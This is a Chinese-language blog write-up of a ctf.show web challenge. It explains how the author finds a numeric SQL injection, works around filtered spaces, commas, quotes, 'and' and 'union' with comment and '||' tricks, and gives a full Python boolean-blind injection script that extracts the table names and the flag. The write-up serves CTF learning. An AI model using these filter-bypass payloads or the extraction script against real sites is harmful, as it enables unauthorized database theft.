ctf_show Web的Web8题解
好久没写博客,上次写还是在上次(三年前)。
如题,写一次CTF的题解
根据题目提示得知这应该是一个注入,什么注入还不知道,进入靶场。
仅有三个地方可点,都点进去看看。
从URL处可以看到前端是传了一个参数id给后端(另外两个类似,就不贴图了)。
那很明显了是SQL注入。
首先在参数后面打个'(单引号)。
报错。后面又试了好多例如union,and,逗号等。
经过一次次测试,总结了如下的过滤列表。
空格
and
逗号
单引号
union
空格可以内联注释来绕过,即 /**/。
and就可以使用or,或者 || ,或者 &&。
逗号就没有太好的想法了。
像是单引号被过滤的话,在字符型注入中基本是没戏了,还在这次的是数字型的注入。
而union就可以用 || 或者&&。
通过前面的测试绕过字符时,参数中存在被过滤了的字符,返回界面是这样的
成功又是这样
即失败都是出错,成功都是返回三个文档内容。
那么我们可以使用盲注,判断依据是返回结果有没有“If”这个单词,当然其他的字符也可以,只要不在失败的页面中即可。
这里使用Python来编写脚本。
import requests
url = "http://24a4a2ef-71d3-4002-accb-7cd74afe184e.challenge.ctf.show/index.php?id=-1"
flag = ""
for num in range(1,60):
l = 33
r = 130
mid = (l+r)>>1
while l<r:
# 数据库:web8
# sql = "ascii(substr((select/**/database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# 表:flag,page,user
# sql = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# 列:flag
# sql = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# ctfshow{b54332e2-57d2-47c4-933a-d455e9b7e950}
sql = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
payload = url + "/**/||/**/" + sql
# print(payload)
res = requests.get(payload)
if 'If' in res.text:
l = mid + 1
else:
r = mid
mid = (l+r)>>1
if chr(mid)==" ":
break
flag += chr(mid)
print(flag)
简单讲一下代码,使用二分法查找字符。
ascii()#字符转ascii
substr(string,0,1)#截取string的第1个字符开始,偏移1个单位的字符。例如“substr(‘abc’,1,1)”的结果是‘a’,把1改成2,就是‘b’。在Mysql中字符索引从1开始。
因为逗号被过滤了。所以改用下面这个,一样的效果。
substr(string from 1 for 1)
这里需要注意一下这条语句
select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167
0x666c6167是“flag”的十六进制,因为不能使用单引号,就把它转换成十六进制。
还有需要注意的一点是,但使用 || 来替代 and 或 union 时, 要注意 || 后面语句的执行条件。必须是前面语句执行错误后,在会执行后面的语句,所以在参数处传入的是 -1 。
总结,一次简单的SQL盲注,考点是过滤字符的绕过。